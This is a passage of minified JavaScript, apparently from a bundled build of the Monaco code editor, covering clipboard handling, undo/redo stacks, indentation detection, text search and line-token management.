e.clipboardData.setData(\"text/plain\",t),null!==n&&e.clipboardData.setData(\"text/html\",n),void e.preventDefault();if(window.clipboardData)return window.clipboardData.setData(\"Text\",t),void e.preventDefault();throw new Error(\"ClipboardEventUtils.setTextData: Cannot use text data!\")},e}(),p=function(e){function t(t){var n=e.call(this)||this;return n._actual=t,n}return f(t,e),t.prototype.getValue=function(){return this._actual.domNode.value},t.prototype.setValue=function(e,t){var n=this._actual.domNode;n.value!==t&&(n.value=t)},t.prototype.getSelectionStart=function(){return this._actual.domNode.selectionStart},t.prototype.getSelectionEnd=function(){return this._actual.domNode.selectionEnd},t.prototype.setSelectionRange=function(e,t,n){var i=this._actual.domNode,o=document.activeElement===i,r=i.selectionStart,s=i.selectionEnd;if(!o||r!==t||s!==n)if(o)i.setSelectionRange(t,n);else try{var a=l.saveParentsScrollTop(i);i.focus(),i.setSelectionRange(t,n),l.restoreParentsScrollTop(i,a)}catch(e){}},t}(r.Disposable)}),define(d[475],h([1,0,10]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e){this.model=e,this.currentOpenStackElement=null,this.past=[],this.future=[]}return e.prototype.pushStackElement=function(){null!==this.currentOpenStackElement&&(this.past.push(this.currentOpenStackElement),this.currentOpenStackElement=null)},e.prototype.clear=function(){this.currentOpenStackElement=null,this.past=[],this.future=[]},e.prototype.pushEditOperation=function(e,t,i){this.future=[],this.currentOpenStackElement||(this.currentOpenStackElement={beforeVersionId:this.model.getAlternativeVersionId(),beforeCursorState:e,editOperations:[],afterCursorState:null,afterVersionId:-1});var o={operations:this.model.applyEdits(t)};this.currentOpenStackElement.editOperations.push(o);try{this.currentOpenStackElement.afterCursorState=i?i(o.operations):null}catch(e){n.onUnexpectedError(e),this.currentOpenStackElement.afterCursorState=null}return this.currentOpenStackElement.afterVersionId=this.model.getVersionId(),this.currentOpenStackElement.afterCursorState},e.prototype.undo=function(){if(this.pushStackElement(),this.past.length>0){var e=this.past.pop();try{for(var t=e.editOperations.length-1;t>=0;t--)e.editOperations[t]={operations:this.model.applyEdits(e.editOperations[t].operations)}}catch(e){return this.clear(),null}return this.future.push(e),{selections:e.beforeCursorState,recordedVersionId:e.beforeVersionId}}return null},e.prototype.redo=function(){if(this.future.length>0){if(this.currentOpenStackElement)throw new Error(\"How is this possible?\");var e=this.future.pop();try{for(var t=0;t<e.editOperations.length;t++)e.editOperations[t]={operations:this.model.applyEdits(e.editOperations[t].operations)}}catch(e){return this.clear(),null}return this.past.push(e),{selections:e.afterCursorState,recordedVersionId:e.afterVersionId}}return null},e}();t.EditStack=i}),define(d[481],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){this.startLineNumber=e,this.endLineNumber=t,this.indent=n}return e.deepCloneArr=function(t){for(var n=[],i=0,o=t.length;i<o;i++){var r=t[i];n[i]=new e(r.startLineNumber,r.endLineNumber,r.indent)}return n},e}();t.IndentRange=n,t.computeRanges=function(e,t){void 0===t&&(t=1);var i=[],o=[];o.push({indent:-1,line:e.getLineCount()+1});for(var r=e.getLineCount();r>0;r--){var s=e.getIndentLevel(r);if(-1!==s){var a=o[o.length-1];if(a.indent>s){do{o.pop(),a=o[o.length-1]}while(a.indent>s);var u=a.line-1;u-r>=t&&i.push(new n(r,u,s))}a.indent===s?a.line=r:o.push({indent:s,line:r})}}return i.reverse()}}),define(d[482],h([1,0]),function(e,t){\"use strict\";function n(e,t,n,i){var o;for(o=0;o<t&&o<i&&(u=e.charCodeAt(o))===(d=n.charCodeAt(o));o++);for(var r=0,s=0,a=o;a<t;a++){var u=e.charCodeAt(a);32===u?r++:s++}for(var l=0,c=0,a=o;a<i;a++){var d=n.charCodeAt(a);32===d?l++:c++}if(r>0&&s>0)return 0;if(l>0&&c>0)return 0;var h=Math.abs(s-c),p=Math.abs(r-l);return 0===h?p:p%h==0?p/h:0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.guessIndentation=function(e,t,i){for(var o=Math.min(e.length,1e4),r=0,s=0,a=\"\",u=0,l=[2,4,6,8],c=[0,0,0,0,0,0,0,0,0],d=0;d<o;d++){for(var h=e[d],p=!1,f=0,g=0,m=0,v=0,_=h.length;v<_;v++){var y=h.charCodeAt(v);if(9===y)m++;else{if(32!==y){p=!0,f=v;break}g++}}if(p){m>0?r++:g>1&&s++;var C=n(a,u,h,f);C<=8&&c[C]++,a=h,u=f}}var b=n(a,u,\"\",0);b<=8&&c[b]++;var w=i;r!==s&&(w=r<s);var S=t,E=w?0:.1*o;return l.forEach(function(e){var t=c[e];t>E&&(E=t,S=e)}),{insertSpaces:w,tabSize:S}}}),define(d[55],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.TextModelEventType={ModelDispose:\"modelDispose\",ModelTokensChanged:\"modelTokensChanged\",ModelLanguageChanged:\"modelLanguageChanged\",ModelOptionsChanged:\"modelOptionsChanged\",ModelContentChanged:\"contentChanged\",ModelRawContentChanged2:\"rawContentChanged2\",ModelDecorationsChanged:\"decorationsChanged\"};!function(e){e[e.Flush=1]=\"Flush\",e[e.LineChanged=2]=\"LineChanged\",e[e.LinesDeleted=3]=\"LinesDeleted\",e[e.LinesInserted=4]=\"LinesInserted\",e[e.EOLChanged=5]=\"EOLChanged\"}(t.RawContentChangedType||(t.RawContentChangedType={}));var n=function(){return function(){this.changeType=1}}();t.ModelRawFlush=n;var i=function(){return function(e,t){this.changeType=2,this.lineNumber=e,this.detail=t}}();t.ModelRawLineChanged=i;var o=function(){return function(e,t){this.changeType=3,this.fromLineNumber=e,this.toLineNumber=t}}();t.ModelRawLinesDeleted=o;var r=function(){return function(e,t,n){this.changeType=4,this.fromLineNumber=e,this.toLineNumber=t,this.detail=n}}();t.ModelRawLinesInserted=r;var s=function(){return function(){this.changeType=5}}();t.ModelRawEOLChanged=s;var a=function(){function e(e,t,n,i){this.changes=e,this.versionId=t,this.isUndoing=n,this.isRedoing=i}return e.prototype.containsEvent=function(e){for(var t=0,n=this.changes.length;t<n;t++)if(this.changes[t].changeType===e)return!0;return!1},e}();t.ModelRawContentChangedEvent=a}),define(d[158],h([1,0,9,12,2,20,94]),function(e,t,n,i,o,r,s){\"use strict\";function a(e,t,n){if(!n)return new r.FindMatch(e,null);for(var i=[],o=0,s=t.length;o<s;o++)i[o]=t[o];return new r.FindMatch(e,i)}function u(e,t,n,i,o){if(0===i)return!0;var r=t.charCodeAt(i-1);if(0!==e.get(r))return!0;if(o>0){var s=t.charCodeAt(i);if(0!==e.get(s))return!0}return!1}function l(e,t,n,i,o){if(i+o===n)return!0;var r=t.charCodeAt(i+o);if(0!==e.get(r))return!0;if(o>0){var s=t.charCodeAt(i+o-1);if(0!==e.get(s))return!0}return!1}function c(e,t,n,i,o){return u(e,t,n,i,o)&&l(e,t,n,i,o)}Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e,t,n,i){this.searchString=e,this.isRegex=t,this.matchCase=n,this.wordSeparators=i}return e._isMultilineRegexSource=function(e){if(!e||0===e.length)return!1;for(var t=0,n=e.length;t<n;t++)if(92===e.charCodeAt(t)){if(++t>=n)break;var i=e.charCodeAt(t);if(110===i||114===i)return!0}return!1},e.prototype.parseSearchRequest=function(){if(\"\"===this.searchString)return null;var t;t=this.isRegex?e._isMultilineRegexSource(this.searchString):this.searchString.indexOf(\"\\n\")>=0;var i=null;try{i=n.createRegExp(this.searchString,this.isRegex,{matchCase:this.matchCase,wholeWord:!1,multiline:t,global:!0})}catch(e){return null}if(!i)return null;var o=!this.isRegex&&!t;return o&&this.searchString.toLowerCase()!==this.searchString.toUpperCase()&&(o=this.matchCase),new h(i,this.wordSeparators?s.getMapForWordSeparators(this.wordSeparators):null,o?this.searchString:null)},e}();t.SearchParams=d;var h=function(){return function(e,t,n){this.regex=e,this.wordSeparators=t,this.simpleSearch=n}}();t.SearchData=h;var p=function(){function e(){}return e.findMatches=function(e,t,n,i,o){var r=t.parseSearchRequest();return r?r.regex.multiline?this._doFindMatchesMultiline(e,n,new f(r.wordSeparators,r.regex),i,o):this._doFindMatchesLineByLine(e,n,r,i,o):[]},e._getMultilineMatchRange=function(e,t,n,i,r){var s;if(\"\\r\\n\"===e.getEOL()){for(var a=0,u=0;u<i;u++)10===(h=n.charCodeAt(u))&&a++;s=t+i+a}else s=t+i;var l;if(\"\\r\\n\"===e.getEOL()){for(var c=0,u=0,d=r.length;u<d;u++){var h=n.charCodeAt(u+i);10===h&&c++}l=s+r.length+c}else l=s+r.length;var p=e.getPositionAt(s),f=e.getPositionAt(l);return new o.Range(p.lineNumber,p.column,f.lineNumber,f.column)},e._doFindMatchesMultiline=function(e,t,n,i,o){var s,u=e.getOffsetAt(t.getStartPosition()),l=e.getValueInRange(t,r.EndOfLinePreference.LF),c=[],d=0;for(n.reset(0);s=n.next(l);)if(c[d++]=a(this._getMultilineMatchRange(e,u,l,s.index,s[0]),s,i),d>=o)return c;return c},e._doFindMatchesLineByLine=function(e,t,n,i,o){var r=[],s=0;if(t.startLineNumber===t.endLineNumber){var a=e.getLineContent(t.startLineNumber).substring(t.startColumn-1,t.endColumn-1);return s=this._findMatchesInLine(n,a,t.startLineNumber,t.startColumn-1,s,r,i,o),r}var u=e.getLineContent(t.startLineNumber).substring(t.startColumn-1);s=this._findMatchesInLine(n,u,t.startLineNumber,t.startColumn-1,s,r,i,o);for(var l=t.startLineNumber+1;l<t.endLineNumber&&s<o;l++)s=this._findMatchesInLine(n,e.getLineContent(l),l,0,s,r,i,o);if(s<o){var c=e.getLineContent(t.endLineNumber).substring(0,t.endColumn-1);s=this._findMatchesInLine(n,c,t.endLineNumber,0,s,r,i,o)}return r},e._findMatchesInLine=function(e,t,n,i,s,u,l,d){var h=e.wordSeparators;if(!l&&e.simpleSearch){for(var p=e.simpleSearch,g=p.length,m=t.length,v=-g;-1!==(v=t.indexOf(p,v+g));)if((!h||c(h,t,m,v,g))&&(u[s++]=new r.FindMatch(new o.Range(n,v+1+i,n,v+1+g+i),null),s>=d))return s;return s}var _,y=new f(e.wordSeparators,e.regex);y.reset(0);do{if((_=y.next(t))&&(u[s++]=a(new o.Range(n,_.index+1+i,n,_.index+1+_[0].length+i),_,l),s>=d))return s}while(_);return s},e.findNextMatch=function(e,t,n,i){var o=t.parseSearchRequest();if(!o)return null;var r=new f(o.wordSeparators,o.regex);return o.regex.multiline?this._doFindNextMatchMultiline(e,n,r,i):this._doFindNextMatchLineByLine(e,n,r,i)},e._doFindNextMatchMultiline=function(e,t,n,s){var u=new i.Position(t.lineNumber,1),l=e.getOffsetAt(u),c=e.getLineCount(),d=e.getValueInRange(new o.Range(u.lineNumber,u.column,c,e.getLineMaxColumn(c)),r.EndOfLinePreference.LF);n.reset(t.column-1);var h=n.next(d);return h?a(this._getMultilineMatchRange(e,l,d,h.index,h[0]),h,s):1!==t.lineNumber||1!==t.column?this._doFindNextMatchMultiline(e,new i.Position(1,1),n,s):null},e._doFindNextMatchLineByLine=function(e,t,n,i){var o=e.getLineCount(),r=t.lineNumber,s=e.getLineContent(r),a=this._findFirstMatchInLine(n,s,r,t.column,i);if(a)return a;for(var u=1;u<=o;u++){var l=(r+u-1)%o,c=e.getLineContent(l+1),d=this._findFirstMatchInLine(n,c,l+1,1,i);if(d)return d}return null},e._findFirstMatchInLine=function(e,t,n,i,r){e.reset(i-1);var s=e.next(t);return s?a(new o.Range(n,s.index+1,n,s.index+1+s[0].length),s,r):null},e.findPreviousMatch=function(e,t,n,i){var o=t.parseSearchRequest();if(!o)return null;var r=new f(o.wordSeparators,o.regex);return o.regex.multiline?this._doFindPreviousMatchMultiline(e,n,r,i):this._doFindPreviousMatchLineByLine(e,n,r,i)},e._doFindPreviousMatchMultiline=function(e,t,n,r){var s=this._doFindMatchesMultiline(e,new o.Range(1,1,t.lineNumber,t.column),n,r,9990);if(s.length>0)return s[s.length-1];var a=e.getLineCount();return t.lineNumber!==a||t.column!==e.getLineMaxColumn(a)?this._doFindPreviousMatchMultiline(e,new i.Position(a,e.getLineMaxColumn(a)),n,r):null},e._doFindPreviousMatchLineByLine=function(e,t,n,i){var o=e.getLineCount(),r=t.lineNumber,s=e.getLineContent(r).substring(0,t.column-1),a=this._findLastMatchInLine(n,s,r,i);if(a)return a;for(var u=1;u<=o;u++){var l=(o+r-u-1)%o,c=e.getLineContent(l+1),d=this._findLastMatchInLine(n,c,l+1,i);if(d)return d}return null},e._findLastMatchInLine=function(e,t,n,i){var r,s=null;for(e.reset(0);r=e.next(t);)s=a(new o.Range(n,r.index+1,n,r.index+1+r[0].length),r,i);return s},e}();t.TextModelSearch=p;var f=function(){function e(e,t){this._wordSeparators=e,this._searchRegex=t,this._prevMatchStartIndex=-1,this._prevMatchLength=0}return e.prototype.reset=function(e){this._searchRegex.lastIndex=e,this._prevMatchStartIndex=-1,this._prevMatchLength=0},e.prototype.next=function(e){var t,n=e.length;do{if(this._prevMatchStartIndex+this._prevMatchLength===n)return null;if(!(t=this._searchRegex.exec(e)))return null;var i=t.index,o=t[0].length;if(i===this._prevMatchStartIndex&&o===this._prevMatchLength)return null;if(this._prevMatchStartIndex=i,this._prevMatchLength=o,!this._wordSeparators||c(this._wordSeparators,e,n,i,o))return t}while(t);return null},e}()}),define(d[101],h([1,0,9,20]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){}return e.fromString=function(e){for(var t=0,i=-1;-1!==(i=e.indexOf(\"\\r\",i+1));)t++;var o=n.containsRTL(e),r=!o&&n.isBasicASCII(e),s=e.split(/\\r\\n|\\r|\\n/),a=\"\";return n.startsWithUTF8BOM(s[0])&&(a=n.UTF8_BOM_CHARACTER,s[0]=s[0].substr(1)),{BOM:a,lines:s,length:e.length,containsRTL:o,isBasicASCII:r,totalCRCount:t}},e}();t.RawTextSource=o;var r=function(){function e(){}return e._getEOL=function(e,t){var n=e.lines.length-1;return 0===n?t===i.DefaultEndOfLine.LF?\"\\n\":\"\\r\\n\":e.totalCRCount>n/2?\"\\r\\n\":\"\\n\"},e.fromRawTextSource=function(e,t){return{length:e.length,lines:e.lines,BOM:e.BOM,EOL:this._getEOL(e,t),containsRTL:e.containsRTL,isBasicASCII:e.isBasicASCII}},e.fromString=function(e,t){return this.fromRawTextSource(o.fromString(e),t)},e.create=function(e,t){return\"string\"==typeof e?this.fromString(e,t):this.fromRawTextSource(e,t)},e}();t.TextSource=r}),define(d[116],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(){}return e.getLanguageId=function(e){return(255&e)>>>0},e.getTokenType=function(e){return(1792&e)>>>8},e.getFontStyle=function(e){return(14336&e)>>>11},e.getForeground=function(e){return(8372224&e)>>>14},e.getBackground=function(e){return(4286578688&e)>>>23},e.getClassNameFromMetadata=function(e){var t=\"mtk\"+this.getForeground(e),n=this.getFontStyle(e);return 1&n&&(t+=\" mtki\"),2&n&&(t+=\" mtkb\"),4&n&&(t+=\" mtku\"),t},e.getInlineStyleFromMetadata=function(e,t){var n=this.getForeground(e),i=this.getFontStyle(e),o=\"color: \"+t[n]+\";\";return 1&i&&(o+=\"font-style: italic;\"),2&i&&(o+=\"font-weight: bold;\"),4&i&&(o+=\"text-decoration: underline;\"),o},e}();t.TokenMetadata=n}),define(d[90],h([1,0,116]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){this.endIndex=e,this._metadata=t}return e.prototype.getForeground=function(){return n.TokenMetadata.getForeground(this._metadata)},e.prototype.getType=function(){return n.TokenMetadata.getClassNameFromMetadata(this._metadata)},e.prototype.getInlineStyle=function(e){return n.TokenMetadata.getInlineStyleFromMetadata(this._metadata,e)},e._equals=function(e,t){return e.endIndex===t.endIndex&&e._metadata===t._metadata},e.equalsArr=function(e,t){var n=e.length;if(n!==t.length)return!1;for(var i=0;i<n;i++)if(!this._equals(e[i],t[i]))return!1;return!0},e}();t.ViewLineToken=i;var o=function(){function e(){}return e.inflateArr=function(e,t){for(var n=[],o=0,r=e.length>>>1;o<r;o++){var s=o+1<r?e[o+1<<1]:t,a=e[1+(o<<1)];n[o]=new i(s,a)}return n},e.sliceAndInflate=function(e,t,n,o,r){for(var s=n-t+o,a=[],u=0,l=this.findIndexInSegmentsArray(e,t),c=e.length>>>1;l<c&&!(e[l<<1]>=n);l++){var d=l+1<c?e[l+1<<1]:r,h=Math.min(s,d-t+o),p=e[1+(l<<1)];a[u++]=new i(h,p)}return a},e.findIndexInSegmentsArray=function(e,t){for(var n=0,i=(e.length>>>1)-1;n<i;){var o=n+Math.ceil((i-n)/2);e[o<<1]>t?i=o-1:n=o}return n},e}();t.ViewLineTokenFactory=o}),define(d[130],h([1,0,116,90]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t,n,i,o,r){this._source=e,this._tokenIndex=t,this._metadata=r,this.startOffset=i,this.endOffset=o,this.hasPrev=this._tokenIndex>0,this.hasNext=this._tokenIndex+1<n}return Object.defineProperty(e.prototype,\"languageId\",{get:function(){return n.TokenMetadata.getLanguageId(this._metadata)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"tokenType\",{get:function(){return n.TokenMetadata.getTokenType(this._metadata)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"fontStyle\",{get:function(){return n.TokenMetadata.getFontStyle(this._metadata)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"foregroundId\",{get:function(){return n.TokenMetadata.getForeground(this._metadata)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"backgroundId\",{get:function(){return n.TokenMetadata.getBackground(this._metadata)},enumerable:!0,configurable:!0}),e.prototype.prev=function(){return this.hasPrev?this._source.tokenAt(this._tokenIndex-1):null},e.prototype.next=function(){return this.hasNext?this._source.tokenAt(this._tokenIndex+1):null},e}();t.LineToken=o;var r=function(){function e(e,t){this._tokens=e,this._tokensCount=this._tokens.length>>>1,this._text=t,this._textLength=this._text.length}return e.prototype.getTokenCount=function(){return this._tokensCount},e.prototype.getLineContent=function(){return this._text},e.prototype.getLineLength=function(){return this._textLength},e.prototype.getTokenStartOffset=function(e){return this._tokens[e<<1]},e.prototype.getLanguageId=function(e){var t=this._tokens[1+(e<<1)];return n.TokenMetadata.getLanguageId(t)},e.prototype.getStandardTokenType=function(e){var t=this._tokens[1+(e<<1)];return n.TokenMetadata.getTokenType(t)},e.prototype.getTokenEndOffset=function(e){return e+1<this._tokensCount?this._tokens[e+1<<1]:this._textLength},e.prototype.findTokenIndexAtOffset=function(e){return i.ViewLineTokenFactory.findIndexInSegmentsArray(this._tokens,e)},e.prototype.findTokenAtOffset=function(e){var t=this.findTokenIndexAtOffset(e);return this.tokenAt(t)},e.prototype.tokenAt=function(e){var t,n=this._tokens[e<<1];t=e+1<this._tokensCount?this._tokens[e+1<<1]:this._textLength;var i=this._tokens[1+(e<<1)];return new o(this,e,this._tokensCount,n,t,i)},e.prototype.firstToken=function(){return 0===this._textLength?null:this.tokenAt(0)},e.prototype.lastToken=function(){return 0===this._textLength?null:this.tokenAt(this._tokensCount-1)},e.prototype.inflate=function(){return i.ViewLineTokenFactory.inflateArr(this._tokens,this._textLength)},e.prototype.sliceAndInflate=function(e,t,n){return i.ViewLineTokenFactory.sliceAndInflate(this._tokens,e,t,n,this._textLength)},e}();t.LineTokens=r}),define(d[118],h([1,0,130,12]),function(e,t,n,i){\"use strict\";function o(e,t){for(var n=0,i=0,o=e.length;i<o;){var r=e.charCodeAt(i);if(32===r)n++;else{if(9!==r)break;n=n-n%t+t}i++}return i===o?0:n+1}function r(e){return(16384|e<<0|2<<23)>>>0}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t,n,i){this.id=e,this.internalDecorationId=t,this.position=n,this.stickToPreviousCharacter=i}return e.prototype.toString=function(){return\"{'\"+this.id+\"';\"+this.position.toString()+\",\"+this.stickToPreviousCharacter+\"}\"},e.prototype.updateLineNumber=function(e,t){this.position.lineNumber!==t&&(e.addChangedMarker(this),this.position=new i.Position(t,this.position.column))},e.prototype.updateColumn=function(e,t){this.position.column!==t&&(e.addChangedMarker(this),this.position=new i.Position(this.position.lineNumber,t))},e.prototype.updatePosition=function(e,t){this.position.lineNumber===t.lineNumber&&this.position.column===t.column||(e.addChangedMarker(this),this.position=t)},e.prototype.setPosition=function(e){this.position=e},e.compareMarkers=function(e,t){return e.position.column===t.position.column?(e.stickToPreviousCharacter?0:1)-(t.stickToPreviousCharacter?0:1):e.position.column-t.position.column},e}();t.LineMarker=s;var a=function(){function e(){this._changedDecorations=[],this._changedDecorationsLen=0}return e.prototype.addChangedMarker=function(e){var t=e.internalDecorationId;0!==t&&(this._changedDecorations[this._changedDecorationsLen++]=t)},e.prototype.getDecorationIds=function(){return this._changedDecorations},e}();t.MarkersTracker=a;var u,l={adjust:function(){},finish:function(){}},c={adjustDelta:function(){},adjustSet:function(){},finish:function(){}};!function(e){e[e.MarkerDefined=0]=\"MarkerDefined\",e[e.ForceMove=1]=\"ForceMove\",e[e.ForceStay=2]=\"ForceStay\"}(u||(u={}));var d=function(){function e(e){e&&(this._markers=null)}return e.prototype._createMarkersAdjuster=function(e){if(!this._markers)return c;if(0===this._markers.length)return c;this._markers.sort(s.compareMarkers);var t=this._markers,n=t.length,i=0,o=t[i],r=function(e,t){return o.position.column<e||!(o.position.column>e)&&(1!==t&&(2===t||o.stickToPreviousCharacter))},a=function(s,a,u,l){for(;i<n&&r(s,l);){if(0!==a){var c=Math.max(u,o.position.column+a);o.updateColumn(e,c)}++i<n&&(o=t[i])}};return{adjustDelta:a,adjustSet:function(s,a,u){for(;i<n&&r(s,u);)o.updateColumn(e,a),++i<n&&(o=t[i])},finish:function(e,t){a(1073741824,e,1,0)}}},e.prototype.applyEdits=function(e,t,n){for(var i=0,o=this.text,r=this._createTokensAdjuster(),s=this._createMarkersAdjuster(e),a=0,u=t.length;a<u;a++){var l=t[a],c=i+l.startColumn,d=i+l.endColumn,h=d-c,p=l.text.length;r.adjust(l.startColumn-1,i,1),s.adjustDelta(l.startColumn,i,1,l.forceMoveMarkers?1:h>0?2:0);var f=Math.min(h,p);f>0&&(r.adjust(l.startColumn-1+f,i,c),l.forceMoveMarkers||s.adjustDelta(l.startColumn+f,i,c,l.forceMoveMarkers?1:h>p?2:0)),o=o.substring(0,c-1)+l.text+o.substring(d-1),i+=p-h,r.adjust(l.endColumn,i,c),s.adjustSet(l.endColumn,c+p,l.forceMoveMarkers?1:0)}return r.finish(i,o.length),s.finish(i,o.length),this._setText(o,n),i},e.prototype.split=function(e,t,n,i){var o=this.text.substring(0,t-1),r=this.text.substring(t-1),a=null;if(this._markers){this._markers.sort(s.compareMarkers);for(var u=0,l=this._markers.length;u<l;u++)if((d=this._markers[u]).position.column>t||d.position.column===t&&(n||!d.stickToPreviousCharacter)){var c=this._markers.slice(0,u);a=this._markers.slice(u),this._markers=c;break}if(a)for(var u=0,l=a.length;u<l;u++){var d=a[u];d.updateColumn(e,d.position.column-(t-1))}}this._setText(o,i);var h=this._createModelLine(r,i);return a&&h.addMarkers(a),h},e.prototype.append=function(t,n,o,r){var s=this.text.length;if(this._setText(this.text+o.text,r),o instanceof e&&o._markers){for(var a=o._markers,u=0,l=a.length;u<l;u++){var c=a[u];c.updatePosition(t,new i.Position(n,c.position.column+s))}this.addMarkers(a)}},e.prototype.addMarker=function(e){this._markers?this._markers.push(e):this._markers=[e]},e.prototype.addMarkers=function(e){0!==e.length&&(this._markers?this._markers=this._markers.concat(e):this._markers=e.slice(0))},e.prototype.removeMarker=function(e){if(this._markers){var t=this._indexOfMarkerId(e.id);t<0||(1===this._markers.length?this._markers=null:this._markers.splice(t,1))}},e.prototype.removeMarkers=function(e){if(this._markers){for(var t=0,n=this._markers.length;t<n;t++)e[this._markers[t].id]&&(this._markers.splice(t,1),n--,t--);0===this._markers.length&&(this._markers=null)}},e.prototype.getMarkers=function(){return this._markers?this._markers:null},e.prototype.updateLineNumber=function(e,t){if(this._markers)for(var n=this._markers,i=0,o=n.length;i<o;i++)n[i].updateLineNumber(e,t)},e.prototype._indexOfMarkerId=function(e){for(var t=this._markers,n=0,i=t.length;n<i;n++)if(t[n].id===e)return n},e}();t.AbstractModelLine=d;var h=function(e){function t(t,n){var i=e.call(this,!0)||this;return i._metadata=0,i._setText(t,n),i._state=null,i._lineTokens=null,i}return f(t,e),Object.defineProperty(t.prototype,\"text\",{get:function(){return this._text},enumerable:!0,configurable:!0}),t.prototype.isInvalid=function(){return!!(1&this._metadata)},t.prototype.setIsInvalid=function(e){this._metadata=4294967294&this._metadata|(e?1:0)},t.prototype.getIndentLevel=function(){return((4294967294&this._metadata)>>1)-1},t.prototype._setPlusOneIndentLevel=function(e){this._metadata=1&this._metadata|(4026531839&e)<<1},t.prototype.updateTabSize=function(e){0===e?this._metadata=1&this._metadata:this._setPlusOneIndentLevel(o(this._text,e))},t.prototype._createModelLine=function(e,n){return new t(e,n)},t.prototype.split=function(t,n,i,o){var r=e.prototype.split.call(this,t,n,i,o);return this._deleteMarkedTokens(this._markOverflowingTokensForDeletion(0,this.text.length)),r},t.prototype.append=function(n,i,o,r){var s=this.text.length;if(e.prototype.append.call(this,n,i,o,r),o instanceof t){var a=o._lineTokens;if(a){var u=new Uint32Array(a);if(s>0)for(var l=0,c=u.length>>>1;l<c;l++)u[l<<1]=u[l<<1]+s;var d=this._lineTokens;if(d){var h=new Uint32Array(d),p=new Uint32Array(h.length+u.length);p.set(h,0),p.set(u,h.length),this._lineTokens=p.buffer}else this._lineTokens=u.buffer}}},t.prototype.resetTokenizationState=function(){this._state=null,this._lineTokens=null},t.prototype.setState=function(e){this._state=e},t.prototype.getState=function(){return this._state||null},t.prototype.setTokens=function(e,t){t&&0!==t.length&&(2!==t.length||0!==t[0]||t[1]!==r(e))?this._lineTokens=t.buffer:this._lineTokens=null},t.prototype.getTokens=function(e){var t=this._lineTokens;if(t)return new n.LineTokens(new Uint32Array(t),this._text);var i=new Uint32Array(2);return i[0]=0,i[1]=r(e),new n.LineTokens(i,this._text)},t.prototype._createTokensAdjuster=function(){var e=this;if(!this._lineTokens)return l;var t=new Uint32Array(this._lineTokens),n=t.length>>>1,i=0,o=0,r=0,s=function(e,s,a){for(var u=a-1;o<e&&i<n;){if(o>0&&0!==s){var l=Math.max(u,o+s);if(t[i<<1]=l,s<0)for(var c=i;c>0;){var d=t[c-1<<1];if(!(d>=l))break;4294967295!==d&&(t[c-1<<1]=4294967295,r++),c--}}++i<n&&(o=t[i<<1])}};return{adjust:s,finish:function(t,n){s(1073741824,t,1),e._deleteMarkedTokens(e._markOverflowingTokensForDeletion(r,n))}}},t.prototype._markOverflowingTokensForDeletion=function(e,t){if(!this._lineTokens)return e;var n=new Uint32Array(this._lineTokens),i=n.length>>>1;if(e+1===i)return e;for(var o=i-1;o>0;o--){var r=n[o<<1];if(r<t)return e;if(4294967295!==r&&(n[o<<1]=4294967295,++e+1===i))return e}return e},t.prototype._deleteMarkedTokens=function(e){if(0!==e){for(var t=new Uint32Array(this._lineTokens),n=t.length>>>1,i=new Uint32Array(n-e<<1),o=0,r=0;r<n;r++){var s=t[r<<1];if(4294967295!==s){var a=t[1+(r<<1)];i[o++]=s,i[o++]=a}}this._lineTokens=i.buffer}},t.prototype._setText=function(e,t){this._text=e,0===t?this._metadata=1&this._metadata:this._setPlusOneIndentLevel(o(e,t))},t}(d);t.ModelLine=h;var p=function(e){function t(t,n){var i=e.call(this,!1)||this;return i._setText(t,n),i}return f(t,e),Object.defineProperty(t.prototype,\"text\",{get:function(){return this._text},enumerable:!0,configurable:!0}),t.prototype.isInvalid=function(){return!1},t.prototype.setIsInvalid=function(e){},t.prototype.getIndentLevel=function(){return 0},t.prototype.updateTabSize=function(e){},t.prototype._createModelLine=function(e,n){return new t(e,n)},t.prototype.split=function(t,n,i,o){return e.prototype.split.call(this,t,n,i,o)},t.prototype.append=function(t,n,i,o){e.prototype.append.call(this,t,n,i,o)},t.prototype.resetTokenizationState=function(){},t.prototype.setState=function(e){},t.prototype.getState=function(){return null},t.prototype.setTokens=function(e,t){},t.prototype.getTokens=function(e){var t=new Uint32Array(2);return t[0]=0,t[1]=r(e),new n.LineTokens(t,this._text)},t.prototype._createTokensAdjuster=function(){return l},t.prototype._setText=function(e,t){this._text=e},t}(d);t.MinimalModelLine=p}),define(d[95],h([1,0]),function(e,t){\"use strict\";function n(e,t,n,i){var o=e-1-i,r=n.lastIndexOf(\" \",o-1)+1,s=n.indexOf(\" \",o);-1===s&&(s=n.length),t.lastIndex=r;for(var a;a=t.exec(n);)if(a.index<=o&&t.lastIndex>=o)return{word:a[0],startColumn:i+1+a.index,endColumn:i+1+t.lastIndex};return null}function i(e,t,n,i){var o=e-1-i;t.lastIndex=0;for(var r;r=t.exec(n);){if(r.index>o)return null;if(t.lastIndex>=o)return{word:r[0],startColumn:i+1+r.index,endColumn:i+1+t.lastIndex}}return null}Object.defineProperty(t,\"__esModule\",{value:!0}),t.USUAL_WORD_SEPARATORS=\"`~!@#$%^&*()-=+[{]}\\\\|;:'\\\",.<>/?\",t.DEFAULT_WORD_REGEXP=function(e){void 0===e&&(e=\"\");for(var n=t.USUAL_WORD_SEPARATORS,i=\"(-?\\\\d*\\\\.\\\\d\\\\w*)|([^\",o=0;o<n.length;o++)e.indexOf(n[o])>=0||(i+=\"\\\\\"+n[o]);return i+=\"\\\\s]+)\",new RegExp(i,\"g\")}(),t.ensureValidWordDefinition=function(e){var n=t.DEFAULT_WORD_REGEXP;if(e&&e instanceof 